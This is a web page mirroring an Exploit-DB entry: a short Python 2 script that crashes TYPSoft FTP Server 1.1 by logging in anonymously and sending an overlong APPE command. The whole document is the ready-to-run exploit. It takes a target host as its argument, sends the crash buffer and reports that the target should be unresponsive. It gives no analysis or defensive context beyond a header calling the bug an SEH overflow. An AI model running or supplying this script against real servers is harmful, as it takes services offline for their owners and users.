TYPSoft FTP Server 1.1 – ‘APPE’ Remote Denial of Service - 体验盒子

作者： brock haun

日期： 2012-03-17

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/18615/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

#!/usr/bin/python

###############################################################################

# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.

# Date of Discovery: 3/16/2012 (0 Day)

# Author: Brock Haun

# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/

# Software Version: 1.1

# Target OS: Windows 7

# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default.

###############################################################################

import socket, sys

if len(sys.argv)!= 2:

print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'

sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'A../' + '\x41' *100

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close()